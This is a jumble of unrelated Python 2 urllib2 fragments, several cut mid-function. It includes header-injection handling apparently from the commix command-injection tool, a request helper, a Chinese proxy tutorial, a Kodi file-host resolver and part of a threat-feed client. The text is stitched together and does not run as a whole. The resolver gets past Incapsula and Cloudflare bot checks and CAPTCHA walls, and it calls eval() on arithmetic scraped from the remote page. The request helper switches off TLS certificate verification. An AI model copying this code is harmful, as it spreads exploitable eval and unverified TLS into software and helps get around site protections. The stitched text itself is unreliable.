print settings.print_critical_msg(err_msg)
sys.exit(0)
else:
pass
# The MIME media type for JSON.
if settings.IS_JSON:
request.add_header("Content-Type", "application/json")
# Check if defined any extra HTTP headers.
if menu.options.headers or menu.options.header:
# Do replacement with the 'INJECT_HERE' tag, if the wildcard char is provided.
if menu.options.headers:
menu.options.headers = checks.wildcard_character(
menu.options.headers)
extra_headers = menu.options.headers
else:
menu.options.header = checks.wildcard_character(
menu.options.header)
extra_headers = menu.options.header
extra_headers = extra_headers.replace(":", ": ")
if ": //" in extra_headers:
extra_headers = extra_headers.replace(": //", "://")
if "\\n" in extra_headers:
extra_headers = extra_headers.split("\\n")
# Remove empty strings
extra_headers = [x for x in extra_headers if x]
if menu.options.header and not menu.options.headers and len(
extra_headers) > 1:
warn_msg = "Swithing '--header' to '--headers' "
warn_msg += "due to multiple extra HTTP headers."
print settings.print_warning_msg(warn_msg)
else:
tmp_extra_header = []
tmp_extra_header.append(extra_headers)
extra_headers = tmp_extra_header
for extra_header in extra_headers:
# Extra HTTP Header name
http_header_name = re.findall(r"(.*): ", extra_header)
http_header_name = ''.join(http_header_name).strip()
# Extra HTTP Header value
http_header_value = re.findall(r":(.*)", extra_header)
http_header_value = ''.join(http_header_value).strip()
# Check if it is a custom header injection.
if settings.CUSTOM_HEADER_INJECTION == False and \
settings.INJECT_TAG in http_header_value:
settings.CUSTOM_HEADER_INJECTION = True
settings.CUSTOM_HEADER_NAME = http_header_name
request.add_header(http_header_name, http_header_value)
def request(url, close=True, error=False, proxy=None, post=None, headers=None, mobile=False, safe=False, referer=None, cookie=None, output='', timeout='30'):
try:
handlers = []
if not proxy == None:
handlers += [urllib2.ProxyHandler({'http':'%s' % (proxy)}), urllib2.HTTPHandler]
opener = urllib2.build_opener(*handlers)
opener = urllib2.install_opener(opener)
if output == 'cookie' or not close == True:
import cookielib
cookies = cookielib.LWPCookieJar()
handlers += [urllib2.HTTPHandler(), urllib2.HTTPSHandler(), urllib2.HTTPCookieProcessor(cookies)]
opener = urllib2.build_opener(*handlers)
opener = urllib2.install_opener(opener)
try:
if sys.version_info < (2, 7, 9): raise Exception()
import ssl; ssl_context = ssl.create_default_context()
ssl_context.check_hostname = False
ssl_context.verify_mode = ssl.CERT_NONE
handlers += [urllib2.HTTPSHandler(context=ssl_context)]
opener = urllib2.build_opener(*handlers)
opener = urllib2.install_opener(opener)
except:
pass
try: headers.update(headers)
except: headers = {}
if 'User-Agent' in headers:
pass
elif not mobile == True:
#headers['User-Agent'] = agent()
headers['User-Agent'] = cache.get(randomagent, 1)
else:
headers['User-Agent'] = 'Apple-iPhone/701.341'
if 'referer' in headers:
pass
elif referer == None:
headers['referer'] = '%s://%s/' % (urlparse.urlparse(url).scheme, urlparse.urlparse(url).netloc)
else:
headers['referer'] = referer
if not 'Accept-Language' in headers:
headers['Accept-Language'] = 'en-US'
if 'cookie' in headers:
pass
elif not cookie == None:
headers['cookie'] = cookie
request = urllib2.Request(url, data=post, headers=headers)
try:
response = urllib2.urlopen(request, timeout=int(timeout))
except urllib2.HTTPError as response:
if error == False: return
if output == 'cookie':
result = []
for c in cookies: result.append('%s=%s' % (c.name, c.value))
result = "; ".join(result)
elif output == 'response':
if safe == True:
result = (str(response.code), response.read(224 * 1024))
else:
result = (str(response.code), response.read())
elif output == 'chunk':
content = int(response.headers['Content-Length'])
if content < (2048 * 1024): return
result = response.read(16 * 1024)
elif output == 'geturl':
result = response.geturl()
else:
if safe == True:
result = response.read(224 * 1024)
else:
result = response.read()
if close == True:
response.close()
return result
except:
return
#!/usr/bin/env python
# -*- coding:utf-8 -*-
import urllib2
# 代理开关，表示是否启用代理
proxyswitch = 0
# 构建一个Handler处理器对象，参数是一个字典类型，包括代理类型和代理服务器IP+PROT
httpproxy_handler = urllib2.ProxyHandler({"http": "218.106.98.166:53281"})
# 构建了一个没有代理的处理器对象
nullproxy_handler = urllib2.ProxyHandler({})
if proxyswitch:
opener = urllib2.build_opener(httpproxy_handler)
else:
opener = urllib2.build_opener(nullproxy_handler)
# 构建了一个全局的opener，之后所有的请求都可以用urlopen()方式去发送，也附带Handler的功能
urllib2.install_opener(opener)
request = urllib2.Request("http://www.baidu.com/")
response = urllib2.urlopen(request)
#print response.read().decode("gbk")
print response.read()
def billionuploads(self, url):
try:
cookie_file = os.path.join(cookiepath, 'billionuploads.lwp')
cj = cookielib.LWPCookieJar()
if os.path.exists(cookie_file):
try:
cj.load(cookie_file, True)
except:
cj.save(cookie_file, True)
else:
cj.save(cookie_file, True)
normal = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
headers = [
('User-Agent',
'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:25.0) Gecko/20100101 Firefox/25.0'
),
('Accept',
'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'
), ('Accept-Language', 'en-US,en;q=0.5'),
('Accept-Encoding', ''), ('DNT', '1'),
('Connection', 'keep-alive'), ('Pragma', 'no-cache'),
('Cache-Control', 'no-cache')
]
normal.addheaders = headers
class NoRedirection(urllib2.HTTPErrorProcessor):
# Stop Urllib2 from bypassing the 503 page.
def http_response(self, request, response):
code, msg, hdrs = response.code, response.msg, response.info(
)
return response
https_response = http_response
opener = urllib2.build_opener(NoRedirection,
urllib2.HTTPCookieProcessor(cj))
opener.addheaders = normal.addheaders
response = opener.open(url).read()
decoded = re.search('(?i)var z="";var b="([^"]+?)"', response)
if decoded:
decoded = decoded.group(1)
z = []
for i in range(len(decoded) / 2):
z.append(int(decoded[i * 2:i * 2 + 2], 16))
decoded = ''.join(map(unichr, z))
incapurl = re.search(
'(?i)"GET","(/_Incapsula_Resource[^"]+?)"', decoded)
if incapurl:
incapurl = 'http://billionuploads.com' + incapurl.group(1)
opener.open(incapurl)
cj.save(cookie_file, True)
response = opener.open(url).read()
captcha = re.search(
'(?i)<iframe src="(/_Incapsula_Resource[^"]+?)"', response)
if captcha:
captcha = 'http://billionuploads.com' + captcha.group(1)
opener.addheaders.append(('Referer', url))
response = opener.open(captcha).read()
formurl = 'http://billionuploads.com' + re.search(
'(?i)<form action="(/_Incapsula_Resource[^"]+?)"',
response).group(1)
resource = re.search('(?i)src=" (/_Incapsula_Resource[^"]+?)"',
response)
if resource:
import random
resourceurl = 'http://billionuploads.com' + resource.group(
1) + str(random.random())
opener.open(resourceurl)
recaptcha = re.search(
'(?i)<script type="text/javascript" src="(https://www.google.com/recaptcha/api[^"]+?)"',
response)
if recaptcha:
response = opener.open(recaptcha.group(1)).read()
challenge = re.search('''(?i)challenge : '([^']+?)',''',
response)
if challenge:
challenge = challenge.group(1)
captchaimg = 'https://www.google.com/recaptcha/api/image?c=' + challenge
img = xbmcgui.ControlImage(450, 15, 400, 130,
captchaimg)
wdlg = xbmcgui.WindowDialog()
wdlg.addControl(img)
wdlg.show()
xbmc.sleep(3000)
kb = xbmc.Keyboard(
'', 'Please enter the text in the image', False)
kb.doModal()
capcode = kb.getText()
if (kb.isConfirmed()):
userInput = kb.getText()
if userInput != '': capcode = kb.getText()
elif userInput == '':
logerror(
'BillionUploads - Image-Text not entered')
xbmc.executebuiltin(
"XBMC.Notification(Image-Text not entered.,BillionUploads,2000)"
)
return None
else:
return None
wdlg.close()
captchadata = {}
captchadata['recaptcha_challenge_field'] = challenge
captchadata['recaptcha_response_field'] = capcode
opener.addheaders = headers
opener.addheaders.append(('Referer', captcha))
resultcaptcha = opener.open(
formurl, urllib.urlencode(captchadata)).info()
opener.addheaders = headers
response = opener.open(url).read()
ga = re.search('(?i)"text/javascript" src="(/ga[^"]+?)"', response)
if ga:
jsurl = 'http://billionuploads.com' + ga.group(1)
p = "p=%7B%22appName%22%3A%22Netscape%22%2C%22platform%22%3A%22Win32%22%2C%22cookies%22%3A1%2C%22syslang%22%3A%22en-US%22"
p += "%2C%22userlang%22%3A%22en-US%22%2C%22cpu%22%3A%22WindowsNT6.1%3BWOW64%22%2C%22productSub%22%3A%2220100101%22%7D"
opener.open(jsurl, p)
response = opener.open(url).read()
# pid = re.search('(?i)PID=([^"]+?)"', response)
# if pid:
# normal.addheaders += [('Cookie','D_UID='+pid.group(1)+';')]
# opener.addheaders = normal.addheaders
if re.search('(?i)url=/distil_r_drop.html', response) and filename:
url += '/' + filename
response = normal.open(url).read()
jschl = re.compile('name="jschl_vc" value="(.+?)"/>').findall(
response)
if jschl:
jschl = jschl[0]
maths = re.compile('value = (.+?);').findall(
response)[0].replace('(', '').replace(')', '')
domain_url = re.compile('(https?://.+?/)').findall(url)[0]
domain = re.compile('https?://(.+?)/').findall(domain_url)[0]
final = normal.open(
domain_url +
'cdn-cgi/l/chk_jschl?jschl_vc=%s&jschl_answer=%s' %
(jschl, eval(maths) + len(domain))).read()
html = normal.open(url).read()
else:
html = response
data = {}
r = re.findall(r'type="hidden" name="(.+?)" value="(.*?)">', html)
for name, value in r:
data[name] = value
captchaimg = re.search(
'<img src="((?:http://|www\.)?BillionUploads.com/captchas/.+?)"',
html)
if captchaimg:
img = xbmcgui.ControlImage(550, 15, 240, 100,
captchaimg.group(1))
wdlg = xbmcgui.WindowDialog()
wdlg.addControl(img)
wdlg.show()
kb = xbmc.Keyboard('', 'Please enter the text in the image',
False)
kb.doModal()
capcode = kb.getText()
if (kb.isConfirmed()):
userInput = kb.getText()
if userInput != '': capcode = kb.getText()
elif userInput == '':
showpopup(
'BillionUploads',
'[B]You must enter the text from the image to access video[/B]',
5000, elogo)
return None
else:
return None
wdlg.close()
data.update({'code': capcode})
data.update({'submit_btn': ''})
enc_input = re.compile('decodeURIComponent\("(.+?)"\)').findall(
html)
if enc_input:
dec_input = urllib2.unquote(enc_input[0])
r = re.findall(r'type="hidden" name="(.+?)" value="(.*?)">',
dec_input)
for name, value in r:
data[name] = value
extradata = re.compile(
"append\(\$\(document.createElement\('input'\)\).attr\('type','hidden'\).attr\('name','(.*?)'\).val\((.*?)\)"
).findall(html)
if extradata:
for attr, val in extradata:
if 'source="self"' in val:
val = re.compile(
'<textarea[^>]*?source="self"[^>]*?>([^<]*?)<'
).findall(html)[0]
data[attr] = val.strip("'")
r = re.findall("""'input\[name="([^"]+?)"\]'\)\.remove\(\)""",
html)
for name in r:
del data[name]
normal.addheaders.append(('Referer', url))
html = normal.open(url, urllib.urlencode(data)).read()
cj.save(cookie_file, True)
def custom_range(start, end, step):
while start <= end:
yield start
start += step
def checkwmv(e):
s = ""
i = []
u = [[65, 91], [97, 123], [48, 58], [43, 44], [47, 48]]
for z in range(0, len(u)):
for n in range(u[z][0], u[z][1]):
i.append(chr(n))
t = {}
for n in range(0, 64):
t[i[n]] = n
for n in custom_range(0, len(e), 72):
a = 0
h = e[n:n + 72]
c = 0
for l in range(0, len(h)):
f = t.get(h[l], 'undefined')
if f == 'undefined': continue
a = (a << 6) + f
c = c + 6
while c >= 8:
c = c - 8
s = s + chr((a >> c) % 256)
return s
dll = re.compile(
'<input type="hidden" id="dl" value="(.+?)">').findall(html)
if dll:
dl = dll[0].split('GvaZu')[1]
dl = checkwmv(dl)
dl = checkwmv(dl)
else:
alt = re.compile('<source src="([^"]+?)"').findall(html)
if alt:
dl = alt[0]
else:
raise Exception('Unable to resolve - No Video File Found')
return dl
except Exception, e:
raise
if ('all' in uri and cookieExists('ALL', cookies) is False) or ('malware' in uri and cookieExists('MALWARE', cookies) is False) :
# Since we do not have a cursor use the reset uri
uri = config['resetUri']
# If cookie file is not on disk and you are not
# calling the test feed use the reset call to obtain cookie
elif 'test' not in uri:
uri = config['resetUri']
# Create HTTP handlers
handlers = [
urllib2.HTTPHandler(),
urllib2.HTTPSHandler(),
urllib2.HTTPCookieProcessor(cookies)
]
# Build URL opener object and pass handelers
opener = urllib2.build_opener(*handlers)
# Function that makes the request to API
def fetch(uri):
req = urllib2.Request(uri)
req.add_header('Authorization', 'Basic %s' % base64string)
req.add_header('Accept', 'application/json')
return opener.open(req)
# Function that saves the response to a file and saves cookies to file
def saveFiles(response, cookieFile, logFile):
# Create a filename if no path is included it will save to the same directory the script is located
# (this format is day_month_year-24hour_minute_second_Microsecond)
# Format details can be found at https://docs.python.org/2/library/datetime.html#strftime-strptime-behavior
filename = logFile
# Save the Json response as a variable
